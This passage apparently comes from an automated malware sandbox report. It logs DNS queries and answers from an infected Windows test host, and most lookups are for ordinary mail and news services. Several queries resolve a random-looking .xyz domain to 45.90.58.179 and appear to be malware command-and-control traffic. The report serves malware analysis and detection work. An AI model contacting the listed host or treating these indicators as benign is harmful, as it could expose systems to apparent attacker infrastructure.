Jul 6, 2021 14:31:17.926305056 CEST	192.168.2.5	8.8.8.8	0x132c	Standard query (0)	taybhctdyehfhgthp2.xyz	A (IP address)	IN (0x0001)
Jul 6, 2021 14:31:22.237039089 CEST	192.168.2.5	8.8.8.8	0xafc8	Standard query (0)	taybhctdyehfhgthp2.xyz	A (IP address)	IN (0x0001)
Jul 6, 2021 14:31:22.248397112 CEST	192.168.2.5	8.8.8.8	0xa20e	Standard query (0)	outlook.com	A (IP address)	IN (0x0001)
Jul 6, 2021 14:31:22.898010969 CEST	192.168.2.5	8.8.8.8	0x9edf	Standard query (0)	www.outlook.com	A (IP address)	IN (0x0001)
Jul 6, 2021 14:31:23.125015974 CEST	192.168.2.5	8.8.8.8	0xbee0	Standard query (0)	outlook.office365.com	A (IP address)	IN (0x0001)
Jul 6, 2021 14:31:29.776881933 CEST	192.168.2.5	8.8.8.8	0x1622	Standard query (0)	taybhctdyehfhgthp2.xyz	A (IP address)	IN (0x0001)
Jul 6, 2021 14:31:29.818094015 CEST	192.168.2.5	8.8.8.8	0xd43e	Standard query (0)	taybhctdyehfhgthp2.xyz	A (IP address)	IN (0x0001)
Jul 6, 2021 14:31:33.604751110 CEST	192.168.2.5	8.8.8.8	0xe463	Standard query (0)	taybhctdyehfhgthp2.xyz	A (IP address)	IN (0x0001)
Jul 6, 2021 14:31:33.635018110 CEST	192.168.2.5	8.8.8.8	0xfcb7	Standard query (0)	taybhctdyehfhgthp2.xyz	A (IP address)	IN (0x0001)
Jul 6, 2021 14:31:37.868395090 CEST	192.168.2.5	8.8.8.8	0xbedb	Standard query (0)	taybhctdyehfhgthp2.xyz	A (IP address)	IN (0x0001)
Jul 6, 2021 14:31:37.896037102 CEST	192.168.2.5	8.8.8.8	0x67e9	Standard query (0)	taybhctdyehfhgthp2.xyz	A (IP address)	IN (0x0001)
Jul 6, 2021 14:31:44.841703892 CEST	192.168.2.5	8.8.8.8	0x8aa4	Standard query (0)	mail.com	A (IP address)	IN (0x0001)
Jul 6, 2021 14:31:45.059181929 CEST	192.168.2.5	8.8.8.8	0x7078	Standard query (0)	www.mail.com	A (IP address)	IN (0x0001)
Jul 6, 2021 14:31:45.314415932 CEST	192.168.2.5	8.8.8.8	0x4835	Standard query (0)	dl.mail.com	A (IP address)	IN (0x0001)
Jul 6, 2021 14:31:45.371972084 CEST	192.168.2.5	8.8.8.8	0xa510	Standard query (0)	www.googleoptimize.com	A (IP address)	IN (0x0001)
Jul 6, 2021 14:31:45.960805893 CEST	192.168.2.5	8.8.8.8	0x5415	Standard query (0)	wa.ui-portal.de	A (IP address)	IN (0x0001)
Jul 6, 2021 14:31:46.015537024 CEST	192.168.2.5	8.8.8.8	0xacd1	Standard query (0)	wa.mail.com	A (IP address)	IN (0x0001)
Jul 6, 2021 14:31:46.823565960 CEST	192.168.2.5	8.8.8.8	0xcb73	Standard query (0)	resolver1.opendns.com	A (IP address)	IN (0x0001)
Jul 6, 2021 14:31:46.824592113 CEST	192.168.2.5	8.8.8.8	0x724a	Standard query (0)	resolver1.opendns.com	A (IP address)	IN (0x0001)

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class
Jul 6, 2021 14:29:41.130721092 CEST	8.8.8.8	192.168.2.5	0x5623	No error (0)	www.msn.com	www-msn-com.a-0003.a-msedge.net		CNAME (Canonical name)	IN (0x0001)
Jul 6, 2021 14:29:43.530565023 CEST	8.8.8.8	192.168.2.5	0xcc19	No error (0)	web.vortex.data.msn.com	web.vortex.data.microsoft.com		CNAME (Canonical name)	IN (0x0001)
Jul 6, 2021 14:29:43.832493067 CEST	8.8.8.8	192.168.2.5	0xb83b	No error (0)	geolocation.onetrust.com		104.20.185.68	A (IP address)	IN (0x0001)
Jul 6, 2021 14:29:43.832493067 CEST	8.8.8.8	192.168.2.5	0xb83b	No error (0)	geolocation.onetrust.com		104.20.184.68	A (IP address)	IN (0x0001)
Jul 6, 2021 14:29:43.891489029 CEST	8.8.8.8	192.168.2.5	0x680f	No error (0)	contextual.media.net		23.211.6.95	A (IP address)	IN (0x0001)
Jul 6, 2021 14:29:45.602221966 CEST	8.8.8.8	192.168.2.5	0x17eb	No error (0)	lg3.media.net		23.211.6.95	A (IP address)	IN (0x0001)
Jul 6, 2021 14:29:46.427280903 CEST	8.8.8.8	192.168.2.5	0x1468	No error (0)	hblg.media.net		23.211.6.95	A (IP address)	IN (0x0001)
Jul 6, 2021 14:29:47.520665884 CEST	8.8.8.8	192.168.2.5	0x86de	No error (0)	cvision.media.net	cvision.media.net.edgekey.net		CNAME (Canonical name)	IN (0x0001)
Jul 6, 2021 14:29:47.905531883 CEST	8.8.8.8	192.168.2.5	0xfdb4	No error (0)	srtb.msn.com	www.msn.com		CNAME (Canonical name)	IN (0x0001)
Jul 6, 2021 14:29:47.905531883 CEST	8.8.8.8	192.168.2.5	0xfdb4	No error (0)	www.msn.com	www-msn-com.a-0003.a-msedge.net		CNAME (Canonical name)	IN (0x0001)
Jul 6, 2021 14:29:49.214751005 CEST	8.8.8.8	192.168.2.5	0xf17d	No error (0)	img.img-taboola.com	tls13.taboola.map.fastly.net		CNAME (Canonical name)	IN (0x0001)
Jul 6, 2021 14:29:49.214751005 CEST	8.8.8.8	192.168.2.5	0xf17d	No error (0)	tls13.taboola.map.fastly.net		151.101.1.44	A (IP address)	IN (0x0001)
Jul 6, 2021 14:29:49.214751005 CEST	8.8.8.8	192.168.2.5	0xf17d	No error (0)	tls13.taboola.map.fastly.net		151.101.65.44	A (IP address)	IN (0x0001)
Jul 6, 2021 14:29:49.214751005 CEST	8.8.8.8	192.168.2.5	0xf17d	No error (0)	tls13.taboola.map.fastly.net		151.101.129.44	A (IP address)	IN (0x0001)
Jul 6, 2021 14:29:49.214751005 CEST	8.8.8.8	192.168.2.5	0xf17d	No error (0)	tls13.taboola.map.fastly.net		151.101.193.44	A (IP address)	IN (0x0001)
Jul 6, 2021 14:30:29.681668043 CEST	8.8.8.8	192.168.2.5	0x55e6	No error (0)	outlook.com		40.97.116.82	A (IP address)	IN (0x0001)
Jul 6, 2021 14:30:29.681668043 CEST	8.8.8.8	192.168.2.5	0x55e6	No error (0)	outlook.com		40.97.161.50	A (IP address)	IN (0x0001)
Jul 6, 2021 14:30:29.681668043 CEST	8.8.8.8	192.168.2.5	0x55e6	No error (0)	outlook.com		40.97.160.2	A (IP address)	IN (0x0001)
Jul 6, 2021 14:30:29.681668043 CEST	8.8.8.8	192.168.2.5	0x55e6	No error (0)	outlook.com		40.97.148.226	A (IP address)	IN (0x0001)
Jul 6, 2021 14:30:29.681668043 CEST	8.8.8.8	192.168.2.5	0x55e6	No error (0)	outlook.com		40.97.164.146	A (IP address)	IN (0x0001)
Jul 6, 2021 14:30:29.681668043 CEST	8.8.8.8	192.168.2.5	0x55e6	No error (0)	outlook.com		40.97.128.194	A (IP address)	IN (0x0001)
Jul 6, 2021 14:30:29.681668043 CEST	8.8.8.8	192.168.2.5	0x55e6	No error (0)	outlook.com		40.97.156.114	A (IP address)	IN (0x0001)
Jul 6, 2021 14:30:29.681668043 CEST	8.8.8.8	192.168.2.5	0x55e6	No error (0)	outlook.com		40.97.153.146	A (IP address)	IN (0x0001)
Jul 6, 2021 14:30:30.773945093 CEST	8.8.8.8	192.168.2.5	0xa0ca	No error (0)	www.outlook.com	outlook.office365.com		CNAME (Canonical name)	IN (0x0001)
Jul 6, 2021 14:30:30.773945093 CEST	8.8.8.8	192.168.2.5	0xa0ca	No error (0)	outlook.office365.com	outlook.ha.office365.com		CNAME (Canonical name)	IN (0x0001)
Jul 6, 2021 14:30:30.773945093 CEST	8.8.8.8	192.168.2.5	0xa0ca	No error (0)	outlook.ha.office365.com	outlook.ms-acdc.office.com		CNAME (Canonical name)	IN (0x0001)
Jul 6, 2021 14:30:30.773945093 CEST	8.8.8.8	192.168.2.5	0xa0ca	No error (0)	outlook.ms-acdc.office.com	HHN-efz.ms-acdc.office.com		CNAME (Canonical name)	IN (0x0001)
Jul 6, 2021 14:30:30.773945093 CEST	8.8.8.8	192.168.2.5	0xa0ca	No error (0)	HHN-efz.ms-acdc.office.com		52.98.175.18	A (IP address)	IN (0x0001)
Jul 6, 2021 14:30:30.773945093 CEST	8.8.8.8	192.168.2.5	0xa0ca	No error (0)	HHN-efz.ms-acdc.office.com		52.97.233.2	A (IP address)	IN (0x0001)
Jul 6, 2021 14:30:30.773945093 CEST	8.8.8.8	192.168.2.5	0xa0ca	No error (0)	HHN-efz.ms-acdc.office.com		52.98.171.226	A (IP address)	IN (0x0001)
Jul 6, 2021 14:30:30.773945093 CEST	8.8.8.8	192.168.2.5	0xa0ca	No error (0)	HHN-efz.ms-acdc.office.com		40.101.137.98	A (IP address)	IN (0x0001)
Jul 6, 2021 14:30:30.985970974 CEST	8.8.8.8	192.168.2.5	0xedd4	No error (0)	outlook.office365.com	outlook.ha.office365.com		CNAME (Canonical name)	IN (0x0001)
Jul 6, 2021 14:30:30.985970974 CEST	8.8.8.8	192.168.2.5	0xedd4	No error (0)	outlook.ha.office365.com	outlook.ms-acdc.office.com		CNAME (Canonical name)	IN (0x0001)
Jul 6, 2021 14:30:30.985970974 CEST	8.8.8.8	192.168.2.5	0xedd4	No error (0)	outlook.ms-acdc.office.com	HHN-efz.ms-acdc.office.com		CNAME (Canonical name)	IN (0x0001)
Jul 6, 2021 14:30:30.985970974 CEST	8.8.8.8	192.168.2.5	0xedd4	No error (0)	HHN-efz.ms-acdc.office.com		40.101.137.34	A (IP address)	IN (0x0001)
Jul 6, 2021 14:30:30.985970974 CEST	8.8.8.8	192.168.2.5	0xedd4	No error (0)	HHN-efz.ms-acdc.office.com		52.98.175.18	A (IP address)	IN (0x0001)
Jul 6, 2021 14:30:30.985970974 CEST	8.8.8.8	192.168.2.5	0xedd4	No error (0)	HHN-efz.ms-acdc.office.com		52.97.233.82	A (IP address)	IN (0x0001)
Jul 6, 2021 14:30:30.985970974 CEST	8.8.8.8	192.168.2.5	0xedd4	No error (0)	HHN-efz.ms-acdc.office.com		52.98.152.242	A (IP address)	IN (0x0001)
Jul 6, 2021 14:30:38.331011057 CEST	8.8.8.8	192.168.2.5	0x4ee8	No error (0)	outlook.com		40.97.148.226	A (IP address)	IN (0x0001)
Jul 6, 2021 14:30:38.331011057 CEST	8.8.8.8	192.168.2.5	0x4ee8	No error (0)	outlook.com		40.97.164.146	A (IP address)	IN (0x0001)
Jul 6, 2021 14:30:38.331011057 CEST	8.8.8.8	192.168.2.5	0x4ee8	No error (0)	outlook.com		40.97.128.194	A (IP address)	IN (0x0001)
Jul 6, 2021 14:30:38.331011057 CEST	8.8.8.8	192.168.2.5	0x4ee8	No error (0)	outlook.com		40.97.156.114	A (IP address)	IN (0x0001)
Jul 6, 2021 14:30:38.331011057 CEST	8.8.8.8	192.168.2.5	0x4ee8	No error (0)	outlook.com		40.97.153.146	A (IP address)	IN (0x0001)
Jul 6, 2021 14:30:38.331011057 CEST	8.8.8.8	192.168.2.5	0x4ee8	No error (0)	outlook.com		40.97.116.82	A (IP address)	IN (0x0001)
Jul 6, 2021 14:30:38.331011057 CEST	8.8.8.8	192.168.2.5	0x4ee8	No error (0)	outlook.com		40.97.161.50	A (IP address)	IN (0x0001)
Jul 6, 2021 14:30:38.331011057 CEST	8.8.8.8	192.168.2.5	0x4ee8	No error (0)	outlook.com		40.97.160.2	A (IP address)	IN (0x0001)
Jul 6, 2021 14:30:38.365072012 CEST	8.8.8.8	192.168.2.5	0x7f7d	No error (0)	outlook.com		40.97.116.82	A (IP address)	IN (0x0001)
Jul 6, 2021 14:30:38.365072012 CEST	8.8.8.8	192.168.2.5	0x7f7d	No error (0)	outlook.com		40.97.161.50	A (IP address)	IN (0x0001)
Jul 6, 2021 14:30:38.365072012 CEST	8.8.8.8	192.168.2.5	0x7f7d	No error (0)	outlook.com		40.97.160.2	A (IP address)	IN (0x0001)
Jul 6, 2021 14:30:38.365072012 CEST	8.8.8.8	192.168.2.5	0x7f7d	No error (0)	outlook.com		40.97.148.226	A (IP address)	IN (0x0001)
Jul 6, 2021 14:30:38.365072012 CEST	8.8.8.8	192.168.2.5	0x7f7d	No error (0)	outlook.com		40.97.164.146	A (IP address)	IN (0x0001)
Jul 6, 2021 14:30:38.365072012 CEST	8.8.8.8	192.168.2.5	0x7f7d	No error (0)	outlook.com		40.97.128.194	A (IP address)	IN (0x0001)
Jul 6, 2021 14:30:38.365072012 CEST	8.8.8.8	192.168.2.5	0x7f7d	No error (0)	outlook.com		40.97.156.114	A (IP address)	IN (0x0001)
Jul 6, 2021 14:30:38.365072012 CEST	8.8.8.8	192.168.2.5	0x7f7d	No error (0)	outlook.com		40.97.153.146	A (IP address)	IN (0x0001)
Jul 6, 2021 14:30:38.981605053 CEST	8.8.8.8	192.168.2.5	0x14	No error (0)	www.outlook.com	outlook.office365.com		CNAME (Canonical name)	IN (0x0001)
Jul 6, 2021 14:30:38.981605053 CEST	8.8.8.8	192.168.2.5	0x14	No error (0)	outlook.office365.com	outlook.ha.office365.com		CNAME (Canonical name)	IN (0x0001)
Jul 6, 2021 14:30:38.981605053 CEST	8.8.8.8	192.168.2.5	0x14	No error (0)	outlook.ha.office365.com	outlook.ms-acdc.office.com		CNAME (Canonical name)	IN (0x0001)
Jul 6, 2021 14:30:38.981605053 CEST	8.8.8.8	192.168.2.5	0x14	No error (0)	outlook.ms-acdc.office.com	HHN-efz.ms-acdc.office.com		CNAME (Canonical name)	IN (0x0001)
Jul 6, 2021 14:30:38.981605053 CEST	8.8.8.8	192.168.2.5	0x14	No error (0)	HHN-efz.ms-acdc.office.com		40.101.136.2	A (IP address)	IN (0x0001)
Jul 6, 2021 14:30:38.981605053 CEST	8.8.8.8	192.168.2.5	0x14	No error (0)	HHN-efz.ms-acdc.office.com		52.97.233.2	A (IP address)	IN (0x0001)
Jul 6, 2021 14:30:38.981605053 CEST	8.8.8.8	192.168.2.5	0x14	No error (0)	HHN-efz.ms-acdc.office.com		52.97.201.50	A (IP address)	IN (0x0001)
Jul 6, 2021 14:30:38.981605053 CEST	8.8.8.8	192.168.2.5	0x14	No error (0)	HHN-efz.ms-acdc.office.com		52.98.152.194	A (IP address)	IN (0x0001)
Jul 6, 2021 14:30:39.054667950 CEST	8.8.8.8	192.168.2.5	0xf68b	No error (0)	www.outlook.com	outlook.office365.com		CNAME (Canonical name)	IN (0x0001)
Jul 6, 2021 14:30:39.054667950 CEST	8.8.8.8	192.168.2.5	0xf68b	No error (0)	outlook.office365.com	outlook.ha.office365.com		CNAME (Canonical name)	IN (0x0001)
Jul 6, 2021 14:30:39.054667950 CEST	8.8.8.8	192.168.2.5	0xf68b	No error (0)	outlook.ha.office365.com	outlook.ms-acdc.office.com		CNAME (Canonical name)	IN (0x0001)
Jul 6, 2021 14:30:39.054667950 CEST	8.8.8.8	192.168.2.5	0xf68b	No error (0)	outlook.ms-acdc.office.com	FRA-efz.ms-acdc.office.com		CNAME (Canonical name)	IN (0x0001)
Jul 6, 2021 14:30:39.054667950 CEST	8.8.8.8	192.168.2.5	0xf68b	No error (0)	FRA-efz.ms-acdc.office.com		52.97.170.34	A (IP address)	IN (0x0001)
Jul 6, 2021 14:30:39.054667950 CEST	8.8.8.8	192.168.2.5	0xf68b	No error (0)	FRA-efz.ms-acdc.office.com		52.97.163.2	A (IP address)	IN (0x0001)
Jul 6, 2021 14:30:39.054667950 CEST	8.8.8.8	192.168.2.5	0xf68b	No error (0)	FRA-efz.ms-acdc.office.com		52.97.144.2	A (IP address)	IN (0x0001)
Jul 6, 2021 14:30:39.218691111 CEST	8.8.8.8	192.168.2.5	0x4a79	No error (0)	outlook.office365.com	outlook.ha.office365.com		CNAME (Canonical name)	IN (0x0001)
Jul 6, 2021 14:30:39.218691111 CEST	8.8.8.8	192.168.2.5	0x4a79	No error (0)	outlook.ha.office365.com	outlook.ms-acdc.office.com		CNAME (Canonical name)	IN (0x0001)
Jul 6, 2021 14:30:39.218691111 CEST	8.8.8.8	192.168.2.5	0x4a79	No error (0)	outlook.ms-acdc.office.com	HHN-efz.ms-acdc.office.com		CNAME (Canonical name)	IN (0x0001)
Jul 6, 2021 14:30:39.218691111 CEST	8.8.8.8	192.168.2.5	0x4a79	No error (0)	HHN-efz.ms-acdc.office.com		52.98.152.178	A (IP address)	IN (0x0001)
Jul 6, 2021 14:30:39.218691111 CEST	8.8.8.8	192.168.2.5	0x4a79	No error (0)	HHN-efz.ms-acdc.office.com		52.98.171.226	A (IP address)	IN (0x0001)
Jul 6, 2021 14:30:39.218691111 CEST	8.8.8.8	192.168.2.5	0x4a79	No error (0)	HHN-efz.ms-acdc.office.com		52.98.175.18	A (IP address)	IN (0x0001)
Jul 6, 2021 14:30:39.218691111 CEST	8.8.8.8	192.168.2.5	0x4a79	No error (0)	HHN-efz.ms-acdc.office.com		40.101.137.82	A (IP address)	IN (0x0001)
Jul 6, 2021 14:30:39.298036098 CEST	8.8.8.8	192.168.2.5	0x852a	No error (0)	outlook.office365.com	outlook.ha.office365.com		CNAME (Canonical name)	IN (0x0001)
Jul 6, 2021 14:30:39.298036098 CEST	8.8.8.8	192.168.2.5	0x852a	No error (0)	outlook.ha.office365.com	outlook.ms-acdc.office.com		CNAME (Canonical name)	IN (0x0001)
Jul 6, 2021 14:30:39.298036098 CEST	8.8.8.8	192.168.2.5	0x852a	No error (0)	outlook.ms-acdc.office.com	HHN-efz.ms-acdc.office.com		CNAME (Canonical name)	IN (0x0001)
Jul 6, 2021 14:30:39.298036098 CEST	8.8.8.8	192.168.2.5	0x852a	No error (0)	HHN-efz.ms-acdc.office.com		52.98.152.178	A (IP address)	IN (0x0001)
Jul 6, 2021 14:30:39.298036098 CEST	8.8.8.8	192.168.2.5	0x852a	No error (0)	HHN-efz.ms-acdc.office.com		52.98.171.226	A (IP address)	IN (0x0001)
Jul 6, 2021 14:30:39.298036098 CEST	8.8.8.8	192.168.2.5	0x852a	No error (0)	HHN-efz.ms-acdc.office.com		52.98.175.18	A (IP address)	IN (0x0001)
Jul 6, 2021 14:30:39.298036098 CEST	8.8.8.8	192.168.2.5	0x852a	No error (0)	HHN-efz.ms-acdc.office.com		40.101.137.82	A (IP address)	IN (0x0001)
Jul 6, 2021 14:30:54.100131989 CEST	8.8.8.8	192.168.2.5	0x3cdd	No error (0)	mail.com		82.165.229.87	A (IP address)	IN (0x0001)
Jul 6, 2021 14:30:54.609510899 CEST	8.8.8.8	192.168.2.5	0xe7a9	No error (0)	www.mail.com		82.165.229.59	A (IP address)	IN (0x0001)
Jul 6, 2021 14:30:54.966198921 CEST	8.8.8.8	192.168.2.5	0x8f30	No error (0)	dl.mail.com	dl.mail.com.edgekey.net		CNAME (Canonical name)	IN (0x0001)
Jul 6, 2021 14:30:54.974889994 CEST	8.8.8.8	192.168.2.5	0x684c	No error (0)	s.uicdn.com	s.uicdn.com.edgekey.net		CNAME (Canonical name)	IN (0x0001)
Jul 6, 2021 14:30:55.030720949 CEST	8.8.8.8	192.168.2.5	0x4612	No error (0)	www.googleoptimize.com		142.250.180.206	A (IP address)	IN (0x0001)
Jul 6, 2021 14:30:55.539474010 CEST	8.8.8.8	192.168.2.5	0xe61c	No error (0)	wa.mail.com		82.165.229.16	A (IP address)	IN (0x0001)
Jul 6, 2021 14:30:56.005628109 CEST	8.8.8.8	192.168.2.5	0xf53b	No error (0)	img.ui-portal.de	img.ui-portal.de.edgekey.net		CNAME (Canonical name)	IN (0x0001)
Jul 6, 2021 14:30:56.595302105 CEST	8.8.8.8	192.168.2.5	0x1a5f	No error (0)	plus.mail.com	plusmailcom.ha-cdn.de		CNAME (Canonical name)	IN (0x0001)
Jul 6, 2021 14:30:56.595302105 CEST	8.8.8.8	192.168.2.5	0x1a5f	No error (0)	plusmailcom.ha-cdn.de		195.20.250.115	A (IP address)	IN (0x0001)
Jul 6, 2021 14:31:03.754110098 CEST	8.8.8.8	192.168.2.5	0x2d49	No error (0)	mail.com		82.165.229.87	A (IP address)	IN (0x0001)
Jul 6, 2021 14:31:03.764096975 CEST	8.8.8.8	192.168.2.5	0x6ff7	No error (0)	mail.com		82.165.229.87	A (IP address)	IN (0x0001)
Jul 6, 2021 14:31:04.047784090 CEST	8.8.8.8	192.168.2.5	0xefd4	No error (0)	www.mail.com		82.165.229.59	A (IP address)	IN (0x0001)
Jul 6, 2021 14:31:04.052638054 CEST	8.8.8.8	192.168.2.5	0xa8ed	No error (0)	www.mail.com		82.165.229.59	A (IP address)	IN (0x0001)
Jul 6, 2021 14:31:04.418940067 CEST	8.8.8.8	192.168.2.5	0x7890	No error (0)	dl.mail.com	dl.mail.com.edgekey.net		CNAME (Canonical name)	IN (0x0001)
Jul 6, 2021 14:31:04.446772099 CEST	8.8.8.8	192.168.2.5	0xa41e	No error (0)	dl.mail.com	dl.mail.com.edgekey.net		CNAME (Canonical name)	IN (0x0001)
Jul 6, 2021 14:31:04.468317986 CEST	8.8.8.8	192.168.2.5	0x459f	No error (0)	s.uicdn.com	s.uicdn.com.edgekey.net		CNAME (Canonical name)	IN (0x0001)
Jul 6, 2021 14:31:04.527529001 CEST	8.8.8.8	192.168.2.5	0x5140	No error (0)	s.uicdn.com	s.uicdn.com.edgekey.net		CNAME (Canonical name)	IN (0x0001)
Jul 6, 2021 14:31:04.544985056 CEST	8.8.8.8	192.168.2.5	0xe1e5	No error (0)	www.googleoptimize.com		142.250.180.206	A (IP address)	IN (0x0001)
Jul 6, 2021 14:31:04.569487095 CEST	8.8.8.8	192.168.2.5	0x6157	No error (0)	www.googleoptimize.com		142.250.180.206	A (IP address)	IN (0x0001)
Jul 6, 2021 14:31:05.874131918 CEST	8.8.8.8	192.168.2.5	0xa988	No error (0)	wa.mail.com		82.165.229.16	A (IP address)	IN (0x0001)
Jul 6, 2021 14:31:05.901417017 CEST	8.8.8.8	192.168.2.5	0x182f	No error (0)	wa.ui-portal.de		82.165.229.54	A (IP address)	IN (0x0001)
Jul 6, 2021 14:31:05.929377079 CEST	8.8.8.8	192.168.2.5	0x51c	No error (0)	wa.ui-portal.de		82.165.229.54	A (IP address)	IN (0x0001)
Jul 6, 2021 14:31:06.018668890 CEST	8.8.8.8	192.168.2.5	0x4503	No error (0)	wa.mail.com		82.165.229.16	A (IP address)	IN (0x0001)
Jul 6, 2021 14:31:17.983304977 CEST	8.8.8.8	192.168.2.5	0x132c	No error (0)	taybhctdyehfhgthp2.xyz		45.90.58.179	A (IP address)	IN (0x0001)
Jul 6, 2021 14:31:22.295660973 CEST	8.8.8.8	192.168.2.5	0xafc8	No error (0)	taybhctdyehfhgthp2.xyz		45.90.58.179	A (IP address)	IN (0x0001)
Jul 6, 2021 14:31:22.309259892 CEST	8.8.8.8	192.168.2.5	0xa20e	No error (0)	outlook.com		40.97.148.226	A (IP address)	IN (0x0001)
Jul 6, 2021 14:31:22.309259892 CEST	8.8.8.8	192.168.2.5	0xa20e	No error (0)	outlook.com		40.97.164.146	A (IP address)	IN (0x0001)
Jul 6, 2021 14:31:22.309259892 CEST	8.8.8.8	192.168.2.5	0xa20e	No error (0)	outlook.com		40.97.128.194	A (IP address)	IN (0x0001)
Jul 6, 2021 14:31:22.309259892 CEST	8.8.8.8	192.168.2.5	0xa20e	No error (0)	outlook.com		40.97.156.114	A (IP address)	IN (0x0001)
Jul 6, 2021 14:31:22.309259892 CEST	8.8.8.8	192.168.2.5	0xa20e	No error (0)	outlook.com		40.97.153.146	A (IP address)	IN (0x0001)
Jul 6, 2021 14:31:22.309259892 CEST	8.8.8.8	192.168.2.5	0xa20e	No error (0)	outlook.com		40.97.116.82	A (IP address)	IN (0x0001)
Jul 6, 2021 14:31:22.309259892 CEST	8.8.8.8	192.168.2.5	0xa20e	No error (0)	outlook.com		40.97.161.50	A (IP address)	IN (0x0001)
Jul 6, 2021 14:31:22.309259892 CEST	8.8.8.8	192.168.2.5	0xa20e	No error (0)	outlook.com		40.97.160.2	A (IP address)	IN (0x0001)
Jul 6, 2021 14:31:22.952681065 CEST	8.8.8.8	192.168.2.5	0x9edf	No error (0)	www.outlook.com	outlook.office365.com		CNAME (Canonical name)	IN (0x0001)
Jul 6, 2021 14:31:22.952681065 CEST	8.8.8.8	192.168.2.5	0x9edf	No error (0)	outlook.office365.com	outlook.ha.office365.com		CNAME (Canonical name)	IN (0x0001)
Jul 6, 2021 14:31:22.952681065 CEST	8.8.8.8	192.168.2.5	0x9edf	No error (0)	outlook.ha.office365.com	outlook.ms-acdc.office.com		CNAME (Canonical name)	IN (0x0001)
Jul 6, 2021 14:31:22.952681065 CEST	8.8.8.8	192.168.2.5	0x9edf	No error (0)	outlook.ms-acdc.office.com	HHN-efz.ms-acdc.office.com		CNAME (Canonical name)	IN (0x0001)
Jul 6, 2021 14:31:22.952681065 CEST	8.8.8.8	192.168.2.5	0x9edf	No error (0)	HHN-efz.ms-acdc.office.com		52.98.175.2	A (IP address)	IN (0x0001)
Jul 6, 2021 14:31:22.952681065 CEST	8.8.8.8	192.168.2.5	0x9edf	No error (0)	HHN-efz.ms-acdc.office.com		40.101.137.66	A (IP address)	IN (0x0001)
Jul 6, 2021 14:31:22.952681065 CEST	8.8.8.8	192.168.2.5	0x9edf	No error (0)	HHN-efz.ms-acdc.office.com		52.97.233.50	A (IP address)	IN (0x0001)
Jul 6, 2021 14:31:22.952681065 CEST	8.8.8.8	192.168.2.5	0x9edf	No error (0)	HHN-efz.ms-acdc.office.com		52.98.152.162	A (IP address)	IN (0x0001)
Jul 6, 2021 14:31:23.171340942 CEST	8.8.8.8	192.168.2.5	0xbee0	No error (0)	outlook.office365.com	outlook.ha.office365.com		CNAME (Canonical name)	IN (0x0001)
Jul 6, 2021 14:31:23.171340942 CEST	8.8.8.8	192.168.2.5	0xbee0	No error (0)	outlook.ha.office365.com	outlook.ms-acdc.office.com		CNAME (Canonical name)	IN (0x0001)
Jul 6, 2021 14:31:23.171340942 CEST	8.8.8.8	192.168.2.5	0xbee0	No error (0)	outlook.ms-acdc.office.com	HHN-efz.ms-acdc.office.com		CNAME (Canonical name)	IN (0x0001)
Jul 6, 2021 14:31:23.171340942 CEST	8.8.8.8	192.168.2.5	0xbee0	No error (0)	HHN-efz.ms-acdc.office.com		40.101.137.34	A (IP address)	IN (0x0001)
Jul 6, 2021 14:31:23.171340942 CEST	8.8.8.8	192.168.2.5	0xbee0	No error (0)	HHN-efz.ms-acdc.office.com		52.97.233.18	A (IP address)	IN (0x0001)
Jul 6, 2021 14:31:23.171340942 CEST	8.8.8.8	192.168.2.5	0xbee0	No error (0)	HHN-efz.ms-acdc.office.com		52.97.233.82	A (IP address)	IN (0x0001)
Jul 6, 2021 14:31:23.171340942 CEST	8.8.8.8	192.168.2.5	0xbee0	No error (0)	HHN-efz.ms-acdc.office.com		52.97.201.50	A (IP address)	IN (0x0001)
Jul 6, 2021 14:31:29.834741116 CEST	8.8.8.8	192.168.2.5	0x1622	No error (0)	taybhctdyehfhgthp2.xyz		45.90.58.179	A (IP address)	IN (0x0001)
Jul 6, 2021 14:31:29.873020887 CEST	8.8.8.8	192.168.2.5	0xd43e	No error (0)	taybhctdyehfhgthp2.xyz		45.90.58.179	A (IP address)	IN (0x0001)
Jul 6, 2021 14:31:33.651194096 CEST	8.8.8.8	192.168.2.5	0xe463	No error (0)	taybhctdyehfhgthp2.xyz		45.90.58.179	A (IP address)	IN (0x0001)
Jul 6, 2021 14:31:33.682182074 CEST	8.8.8.8	192.168.2.5	0xfcb7	No error (0)	taybhctdyehfhgthp2.xyz		45.90.58.179	A (IP address)	IN (0x0001)
Jul 6, 2021 14:31:37.915817976 CEST	8.8.8.8	192.168.2.5	0xbedb	No error (0)	taybhctdyehfhgthp2.xyz		45.90.58.179	A (IP address)	IN (0x0001)
Jul 6, 2021 14:31:37.950942993 CEST	8.8.8.8	192.168.2.5	0x67e9	No error (0)	taybhctdyehfhgthp2.xyz		45.90.58.179	A (IP address)	IN (0x0001)
Jul 6, 2021 14:31:44.903443098 CEST	8.8.8.8	192.168.2.5	0x8aa4	No error (0)	mail.com		82.165.229.87	A (IP address)	IN (0x0001)
Jul 6, 2021 14:31:45.114928007 CEST	8.8.8.8	192.168.2.5	0x7078	No error (0)	www.mail.com		82.165.229.59	A (IP address)	IN (0x0001)
Jul 6, 2021 14:31:45.370172024 CEST	8.8.8.8	192.168.2.5	0x4835	No error (0)	dl.mail.com	dl.mail.com.edgekey.net		CNAME (Canonical name)	IN (0x0001)
Jul 6, 2021 14:31:45.426628113 CEST	8.8.8.8	192.168.2.5	0xa510	No error (0)	www.googleoptimize.com		142.250.180.206	A (IP address)	IN (0x0001)
Jul 6, 2021 14:31:46.009474039 CEST	8.8.8.8	192.168.2.5	0x5415	No error (0)	wa.ui-portal.de		82.165.229.54	A (IP address)	IN (0x0001)
Jul 6, 2021 14:31:46.078031063 CEST	8.8.8.8	192.168.2.5	0xacd1	No error (0)	wa.mail.com		82.165.229.16	A (IP address)	IN (0x0001)
Jul 6, 2021 14:31:46.870600939 CEST	8.8.8.8	192.168.2.5	0xcb73	No error (0)	resolver1.opendns.com		208.67.222.222	A (IP address)	IN (0x0001)
Jul 6, 2021 14:31:46.871083975 CEST	8.8.8.8	192.168.2.5	0x724a	No error (0)	resolver1.opendns.com		208.67.222.222	A (IP address)	IN (0x0001)

HTTP Request Dependency Graph

outlook.com

mail.com

taybhctdyehfhgthp2.xyz

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
0	192.168.2.5	49724	40.97.116.82	80	C:\Program Files (x86)\Internet Explorer\iexplore.exe

Timestamp	kBytes transferred	Direction	Data
